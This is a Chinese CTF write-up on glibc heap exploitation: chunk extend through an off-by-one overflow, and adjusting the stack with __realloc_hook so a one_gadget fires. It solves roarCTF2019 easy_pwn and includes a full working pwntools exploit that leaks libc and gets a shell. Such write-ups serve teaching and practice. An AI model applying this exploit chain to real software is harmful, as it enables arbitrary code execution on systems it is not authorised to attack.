[pwn]堆:realloc_hook控制栈结构达成onegadget

[pwn]realloc_hook控制栈结构达成onegadget

文章目录

  • [pwn]realloc_hook控制栈结构达成onegadget
        • chunk extend
        • 通过realloc调整栈帧来满足onegadget
        • easy_pwn wp

chunk extend

chunk extend是一种限制比较少的堆利用方式,通常通过off by one或off by null来利用。

chuank extend利用需要的条件是:

  1. 可以进行堆布局
  2. 可以溢出至少一个字节

chunk extend的原理是,首先申请三个堆块:

[pwn]堆:realloc_hook控制栈结构达成onegadget_第1张图片

这里size 0x18是堆块的大小,1是前一个堆块占用位,先通过编辑堆块A然后通过off by one来溢出到堆块B的size域,并将其修改为0x18+0x18+1(其实就是size B+size C,然后前一个堆块占用1):

[pwn]堆:realloc_hook控制栈结构达成onegadget_第2张图片

这时释放堆块B,由于大小在fastbins中,所以(堆块C的)下一个堆块的前一个堆块使用位不会被置0,再释放C,arena中对应的bins就会指向B和C,如图:

[pwn]堆:realloc_hook控制栈结构达成onegadget_第3张图片

这时只要再申请一个0x40的大小的堆块,就可以将B+C这个“合成”堆块申请回来,然后就可以操作还在bins中的C堆块C了,将其指针为修改为想要任意写的地址,如free_got:

[pwn]堆:realloc_hook控制栈结构达成onegadget_第4张图片

然后再申请一个大小为0x20的堆块,将C申请回来,这时bins就会指向freegot,接下来再申请空间就会申请到freegot了:

[pwn]堆:realloc_hook控制栈结构达成onegadget_第5张图片

再次申请一个0x20大小的堆块就会申请到free_got所在的地方,这时就可以修改为任意的值了,这个例子只是用来举例,其实利用方法非常灵活,只要将还在链表中的堆块成功包括在我们可控的堆块之内,有非常多的利用方式,无论是泄露地址或是任意地址写!这种利用方式是和fastbin attack非常相似的,只不过适用于off by one这种溢出比较苛刻的地方。

通过realloc调整栈帧来满足onegadget

参考:https://blog.csdn.net/Maxmalloc/article/details/102535427

one-gadget 是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能控制程序执行流的时候,直接执行到onegadget的地址,并且满足onegadget的条件,便可直接getshell。如:

[pwn]堆:realloc_hook控制栈结构达成onegadget_第6张图片

这个libc-2.23.so中共有四个onegadget,相对应的条件分别是rsp+0x30、rsp+0x30、rsp+0x50、rsp+0x70地址处为0。

而有的时候我们有任意地址写的漏洞的时候,比如将malloc_hook写成onegadget,但无法满足onegadget的条件可以使用realloc来微调栈帧。

realloc函数的逻辑和malloc、free等一样,都是先查看realloc_hook是否为null,不为null的话便调用realloc_hook。但不同的是realloc的汇编代码,在调用realloc_hook之前比malloc、free等多了好多push指令和sub抬栈操作:

[pwn]堆:realloc_hook控制栈结构达成onegadget_第7张图片

我们可以将realloc_hook改为onegadget,然后通过这些push和sub操作"微调"rsp寄存器,使其能够满足在调用realloc_hook(也就是onegadget)的时候满足相应的rsp条件。相应的利用方法就是由传统的直接修改malloc_hook变为先修改realloc_hook为onegadget之后,修改malloc_hook到特定的一个push处或sub处,然后调用malloc便相当于执行了满足条件的onegadget。

接下来通过嘶吼的roarCTF2019的easy_pwn题目来讲解一下:

easy_pwn wp

首先查看下安全策略:
[pwn]堆:realloc_hook控制栈结构达成onegadget_第8张图片
发现全开,那么我们无法使用漏洞来修改got表。接下来分析一下程序逻辑:
[pwn]堆:realloc_hook控制栈结构达成onegadget_第9张图片
和传统的堆题目很想,申请、修改、删除和显示。IDA中查看反汇编代码:

[pwn]堆:realloc_hook控制栈结构达成onegadget_第10张图片

唯一有问题的地方在writeNote中:

[pwn]堆:realloc_hook控制栈结构达成onegadget_第11张图片

当读入的长度比申请的长度正好大10的时候,程序允许我们多写入一个字节!也就是可以溢出一个字节,正好到下一个堆块的大小位和占用位:
[pwn]堆:realloc_hook控制栈结构达成onegadget_第12张图片
只有这一个off by one漏洞可以利用,接下来就是思考利用思路。

  1. 首先,要想办法泄露地址
  2. 通过chunk extend来任意地址写利用

泄露地址的方式有很多种,这里选择最简单的一种,泄露unsortbins的地址,首先申请四个堆块,大小分别是0:0x18,1:0x18,2:0x88,3:0x18,之后通过对chunk0进行off by one,溢出到1的size位位0xb1,也就是size1+size2的大小(0x20+0x90)。

[pwn]堆:realloc_hook控制栈结构达成onegadget_第13张图片

这里申请的是0x18,实际分配是0x21,2申请的比较大是为了合并之后分解的时候不被放入fastbins而是放入unsortbins。这里堆块3的作用是和topchunk隔离,不让分解后直接和topchunk合并。

这时释放chunk1,unsortbins就会指向chunk1(连带着chunk2的大小),size是0xb0,而chunk1的fd和bk两个双向链表指针也会指向libc中的unsortbins处(因为双向链表中只有一个元素):
[pwn]堆:realloc_hook控制栈结构达成onegadget_第14张图片

然后再申请一个0x18大小的堆块(也就是溢出之前的大小),这时就会在unsortbins中的这个唯一元素中分割一个0x18大小的堆块出去,剩下的继续连在unsortbins中,就是下面这样:

[pwn]堆:realloc_hook控制栈结构达成onegadget_第15张图片

这时原本的chunk2中的内容就是指向unsortbins的指针,而chunk2一直没有被释放,我们可以通过show来输出指针的内容,就成功得到libc的一个地址了,代码流程是:

create(0x18) #0
create(0x18) #1
create(0x88) #2
create(0x18) #3
write(0,0x18+10,'a'*0x18+'\xb1')
free(1)
create(0x18) #1
show(2)
p.recvuntil("content: ")
leak = u64(p.recvline()[:8])
print "leak-> " + hex(leak)

通过泄露的地址减掉libc的起始地址就可以计算出这里的偏移了。

libc_base = leak - (0x7efce8fa1b78 - 0x7efce8c06000)

接下来是思考如何利用。由于有chunk extend这个利用方法,需要考虑的只是如何执行任意指令,也就是在改写哪个地址。首先由于开启了Full RELRO,got表是无法修改了。那么我们只能修改libc中的各种hook。

我们采用之前介绍过的realloc控制栈帧满足onegadget条件然后执行onegadget来利用。整个利用思路是:

  1. 通过chunk extend来满足fastbin attack+malloc_hook攻击的条件
  2. 修改malloc_hook为realloc控制栈帧的地址
  3. 修改realloc_hook为onegadget
  4. 通过申请新chunk直接getshell(申请新块会执行malloc_hook调到realloc,然后控制栈帧满足了onegadget条件之后会执行realloc_hook也就是onegadget,getshell)

和fastbin attack类似,通过修改fastbin链表指针的方式,在libc-2.23中,有下面一个检测需要绕过:

  • 检测链表中的freechunk的大小是否在该fastbin链的大小尺寸范围内

需要注意的是,malloc_hook和realloc_hook是连着的,也就是说只要找出malloc_hook前后一个满足这个条件的就可以同时修改这两个:

[pwn]堆:realloc_hook控制栈结构达成onegadget_第16张图片

根据常识,malloc_hook-0x23是一个“固定用法”,为什么这么说呢:

[pwn]堆:realloc_hook控制栈结构达成onegadget_第17张图片

可以看见,malloc_hook-0x23的size域为0x7f正好在0x70-0x80之间,属于fastbin中0x70的范围。那么利用思路就是:

  • 先申请一个0x88的堆块(堆块4)将刚刚地址泄露的剩下的一个空闲堆块申请回来,补齐堆空间,能让接下来申请的堆块从topchunk开始分配。然后堆块结构是下面这样,2和4实际指向的是同一个堆块。
[pwn]堆:realloc_hook控制栈结构达成onegadget_第18张图片
  • 申请三个堆块分别是0x18(实际0x20,以下同理),0x68,0x18(堆块567),堆块7是和topchunk隔离用
  • 堆块3和堆块5是相邻的,通过溢出3,将5的size改为0x91(size5+size6)
  • 释放6,fastbin的0x70freechunk链表指向6
  • 释放5(其实是释放了一个0x90的堆块),再申请一个0x88(也就是0x90)的堆块将5申请了回来
  • 这时通过操作5就可以修改已释放的堆块6的指针域了,将其修改为malloc_hook-0x23,注意不要破坏size域
[pwn]堆:realloc_hook控制栈结构达成onegadget_第19张图片
  • 然后申请一个0x68的堆块(实际0x70),将6申请回来,这时fastbin的0x70freechunk链表指向malloc_hook-0x23
[pwn]堆:realloc_hook控制栈结构达成onegadget_第20张图片
  • 在申请一个0x68的堆块,这时申请到的就是malloc_hook-0x23了,可以修改realloc_hook和malloc_hook了。
  • 通过调试确定地址,下断点再realloc,查看栈帧(图是调试版本libc所用,最后exp所用libc地址不同),可见rsp+0x30的位置不为0,但rsp+0x10的位置为0,需要sub 0x18和push一次。
[pwn]堆:realloc_hook控制栈结构达成onegadget_第21张图片 [pwn]堆:realloc_hook控制栈结构达成onegadget_第22张图片
  • 修改realloc_hook为onegadget,修改malloc_hook为realloc+偏移地址
  • 再申请一个任意大小堆块,完成利用。

exp如下:

from pwn import *
import struct

context(arch='amd64', os='linux')
context.terminal=['tmux','splitw','-h']
p = process(["./ld.so.2","./easy_pwn"],env={"LD_PRELOAD":"./libc.so.6"})
#gdb.attach(p)
libc = ELF("./libc.so.6")

def create(size):
	p.sendlineafter("choice: ", str(1))
	p.sendlineafter("size: ", str(size))

def write(index, size, content):
	p.sendlineafter("choice: ", str(2))
	p.sendlineafter("index: ", str(index))
	p.sendlineafter("size: ", str(size))
	p.sendlineafter("content: ", content)

def free(index):
	p.sendlineafter("choice: ", str(3))
	p.sendlineafter("index: ", str(index))

def show(index):
	p.sendlineafter("choice: ", str(4))
	p.sendlineafter("index: ", str(index))

create(0x18) #0
create(0x18) #1
create(0x88) #2
create(0x18) #3
write(0,0x18+10,'a'*0x18+'\xb1')
free(1)
create(0x18) #1
show(2)

p.recvuntil("content: ")
leak = u64(p.recvline()[:8])
print "leak-> " + hex(leak)
libc_base = leak - (0x7fdba0043b78 - 0x7fdb9fc7f000)
print "libc_base-> " + hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)
#realloc = libc_base + libc.symbols['__libc_realloc']
realloc=libc_base+0x846CD
print "realloc-> " + hex(realloc)
#rsp+0x50=0
one_gadget=libc_base+0xf02a4

create(0x88) #4
create(0x18) #5
create(0x68) #6
create(0x18) #7
write(3,0x18+10,'a'*0x18+'\x91')
free(6)
free(5)
create(0x88) #5
write(5,0x28,'a'*0x18+p64(0x71)+p64(malloc_hook-0x23))
create(0x68) #6
create(0x68) #8
write(8,0x1b,'a'*0xb+p64(one_gadget)+p64(realloc))
raw_input()
create(0x18)
p.interactive()

成功:

[pwn]堆:realloc_hook控制栈结构达成onegadget_第23张图片

你可能感兴趣的:(ctf,#,ctf-pwn,二进制)